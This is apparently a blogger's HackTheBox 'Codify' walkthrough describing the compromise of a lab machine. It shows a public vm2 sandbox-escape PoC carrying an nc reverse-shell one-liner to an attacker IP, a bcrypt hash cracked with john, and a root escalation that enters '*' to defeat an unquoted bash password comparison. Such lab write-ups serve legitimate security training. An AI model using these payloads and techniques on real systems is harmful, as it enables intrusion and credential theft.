HackTheBox: Codify

01/13/2024

Damn, it's been a minute since I did a box. I didn't do one last week and I don't remember if I did one the week before.

This one is a brand new easy-rated linux box. Im excited. Almost everything this season has been windows.

Enumeration

We have three ports open: 1) 22 (SSH) 2) 80 (HTTP) 3) 3000 (HTTP)

Script scan shows us that the device appears to be running Ubuntu. The server on 80 is Apache. The server on 3000 is Node.js Express, which I've encountered a few times before.

The server on 80 attempts to redirect us to http://codify.htb, so I'll add that to /etc/hosts and run the scan again incase it catches anything new.

Ill start my standard recon procedure in the background while I enumerate the site manually: 1) nikto 2) gobuster directories 3) gobuster vhosts

Ill mention findings from the recon as they pop up.

Exploring the target website

The page gives us the following description of its functionality:


This website allows you to test your Node.js code in a sandbox environment. Enter your code in the editor and see the output in real-time.

Okay, so it's basically a node.js sandbox that executes user code. This might be as easy as inputting a reverse shell.

Right off the bat Im thinking the quick way to go is to google "nodejs sandbox escape" and see if there's any easy wins.

Note also that the site on ports 80 and 3000 appear identical.

There's also a link to a page regarding limitations of the sandbox.

Escaping the sandbox

On the "Limitations" page is a rundown of the blacklisted and whitelisted nodejs modules:


#### Restricted Modules

The following Node.js modules have been restricted from importing:

- child_process
- fs


#### Module Whitelist

Only a limited set of modules are available to be imported. Some of them are listed below. If you need a specific module that is not available, please contact the administrator by mailing [support@codify.htb](mailto:support@codify.htb) while our ticketing system is being migrated.

- url
- crypto
- util
- events
- assert
- stream
- path
- os
- zlib

Im going to read a couple articles on nodejs sandbox escape. The first one is here: https://www.netspi.com/blog/technical/web-application-penetration-testing/escape-nodejs-sandboxes/

The first goal is to figure out what level of access our code has to the underlying system. First we can try to generate a stack trace. In the editor, we enter:

node
var err = new Error();
console.log(err.stack);

success! This prints a stack trace:


Error
    at vm.js:5:11
    at Script.runInContext (node:vm:135:12)
    at VM.runScript (/var/www/editor/node_modules/vm2/lib/vm.js:285:18)
    at /var/www/editor/node_modules/vm2/lib/vm.js:507:16
    at timeout_bridge.js:1:1
    at Script.runInContext (node:vm:135:12)
    at doWithTimeout (/var/www/editor/node_modules/vm2/lib/vm.js:132:29)
    at VM.run (/var/www/editor/node_modules/vm2/lib/vm.js:506:10)
    at /var/www/editor/index.js:51:27
    at Layer.handle [as handle_request] (/var/www/editor/node_modules/express/lib/router/layer.js:95:5)

The next step is to attempt to leak information about this, the nodejs way of self-referencing for objects. Unfortunately the module he used in the article, JSON.prune(), is not available on this system. It looks like what I can do is use util.inspect:

node
const util = require('util');
console.log(util.inspect(this, {depth: null, showHidden: true}));

which yields a HUGE info dump about functions in the current context.

However, it looks like I missed some very useful info: when we generated the stacktrace, it TOLD me what software it was using:


at VM.runScript (/var/www/editor/node_modules/vm2/lib/vm.js:285:18)

Its running a program called vm2, which is publicly available on Github here: https://github.com/patriksimek/vm2.

And better yet, the public GitHub repo has some posts in the "Security" tab of critical severity: (https://github.com/patriksimek/vm2/security) The latest was from June 12th and remains unpatched. It's an RCE vulnerability which even had a link to a poc: (https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd)

Testing the vm2_3.9.19 sandbox escape exploit

See the link above for the PoC. It has the following code to get RCE:

js
const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 4444 >/tmp/f &');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

Let's see if it works...


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.239] 48132
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc

Hell yeah! Got a shell

Internal Enumeration/Pivoting

The user flag must be in the other user account, joshua. Im just the default svc user. Going to have to pivot.

Plan of attack: 1) upload linpeas and pspy 2) run linpeas and pspy while scrounging for credentials 3) dump database

Linpeas did not turn up much except for a script in /opt/scripts named mysql-backup.sh.

There is a database file /var/www/contact/tickets.db, but I couldnt find credentials for it. It turns out I didnt even need creds though, because I was able to dump it's contents using strings:


svc@codify:/var/www/contact$ strings tickets.db 
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
        tableusersusers
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    ))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

Here you can easily spot joshua's password hash, $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2.

Let me load it into a text file and set john on it.

Cracking the hash with John

John recognized the hash as 'bcypt' and cracked it pretty fast:


$ john hash --wordlist=/usr/share/SecLists/Passwords/rockyou.txt 
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (joshua)

There we have it: spongebob1 (joshua)

Thus our credentials are joshua:spongebob1. Ill use that to ssh in.

Privilege Escalation

Joshua can run only one thing as sudo, and that is the script I mentioned earlier:


joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Here is the script:

bash

#!/bin/bash                                                        
DB_USER="root"                                                                   DB_PASS=$(/usr/bin/cat /root/.creds)                                             BACKUP_DIR="/var/backups/mysql"                                                                       
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS                       
/usr/bin/echo                                                                            
if [[ $DB_PASS == $USER_PASS ]]; then                                            
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'       

I cant see a whole lot to abuse in this script using methods like path hijacking.

I see that it loads the correct password into an environment variable and then compares that to what the user enters:

bash
DB_PASS=$(/usr/bin/cat /root/.creds)

I wonder if it's possible to execute this script, suspend it, and examine it's process memory to dump it's environment variables? Doesnt seem like it; everything I try to open gives me permission denied.

Im thinking what we want to do is figure out a way to get the string comparison to evaluate to true.

GOT IT!!!! I figured out the trick thanks to this page here explaining the use of the [[ ]] operator in bash for testing: (https://mywiki.wooledge.org/BashFAQ/031) It turns out there's a pattern-matching character in bash that you would use as follows:

bash
[[ $name = a* ]] || echo "name does not start with an 'a': $name"

Where * is the wildcard character. Because the character didnt enclose the variables in quotes Im able to input * when prompted for a password and effectively bypass the check entirely, as it will match whatever the password is.

Then I run this with pspy listening and capture the cleartext creds. In one terminal:


$ sudo /opt/scripts/mysql-backup.sh 

Enter MySQL password for root: *
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

And here's what I captured with pspy:


/usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;

Hell yeah. We got the cleartext creds. First lets try to su into the system root account with the password kljh12k3jhaskjh12kjh3 just in case he recycled it. Even if it doesnt work there it will for the database root account, so we'll hit that next:


joshua@codify:/tmp/tmp.YUp7JSAuej$ su root
Password: kljh12k3jhaskjh12kjh3

root@codify:/tmp/tmp.YUp7JSAuej# whoami
root